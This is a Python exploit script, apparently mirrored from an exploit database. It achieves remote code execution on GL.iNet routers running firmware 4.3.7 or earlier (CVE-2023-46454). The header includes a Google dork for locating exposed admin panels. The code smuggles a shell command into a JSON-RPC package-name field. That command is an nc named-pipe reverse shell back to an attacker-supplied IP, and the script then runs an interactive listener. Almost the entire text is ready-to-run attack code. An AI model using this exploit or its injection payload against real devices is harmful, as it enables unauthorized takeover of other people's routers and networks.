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## https://sploitus.com/exploit?id=PACKETSTORM:177400
#!/usr/bin/env python3
# Exploit Title: GL.iNet <= 4.3.7 Remote Code Execution via OpenVPN Client
# Google Dork: intitle:"GL.iNet Admin Panel"
# Date: XX/11/2023
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://www.gli-net.com
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar
# Version: 4.3.7
# Tested on: GL.iNet AR300M
# CVE: CVE-2023-46454
import socket
import requests
import readline
from time import sleep
from random import randint
from sys import stdout, argv
from threading import Thread
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def trigger_revshell(url, auth_token, payload):
sleep(0.25)
data = {
'jsonrpc': '2.0',
'id': randint(1000, 9999),
'method': 'call',
'params': [
auth_token,
'plugins',
'get_package_info',
{'name': 'bas{}e-files'.format(payload)}
]
}
requests.post(url, json=data, verify=False)
def get_command_response(s):
res = ''
while True:
try:
resp = s.recv(1).decode('utf-8')
res += resp
except UnicodeDecodeError:
pass
except socket.timeout:
break
return res
def revshell_listen(revshell_ip, revshell_port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
try:
s.bind((revshell_ip, int(revshell_port)))
s.listen(1)
except Exception as e:
print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))
exit(1)
try:
clsock, claddr = s.accept()
clsock.settimeout(2)
if clsock:
print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))
res = ''
while True:
command = input('$ ')
clsock.sendall('{}\n'.format(command).encode('utf-8'))
stdout.write(get_command_response(clsock))
except socket.timeout:
print('[-] No connection received in 5 seconds, probably server is not vulnerable...')
s.close()
except KeyboardInterrupt:
print('\n[*] Closing connection')
try:
clsock.close()
except socket.error:
pass
except NameError:
pass
s.close()
def main(base_url, auth_token, revshell_ip, revshell_port):
print('[+] Started GL.iNet <= 4.3.7 RCE exploit')
payload = '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {} {} >/tmp/f)'.format(revshell_ip, revshell_port)
print('[+] Reverse shell payload: "{}"'.format(payload))
print('[*] Triggering reverse shell connection')
Thread(target=trigger_revshell, args=(base_url+'/rpc', auth_token, payload)).start()
print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))
revshell_listen(revshell_ip, revshell_port)
print('[+] Done')
if __name__ == '__main__':
if len(argv) < 5:
print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))
exit(1)
main(argv[1], argv[2], argv[3], argv[4])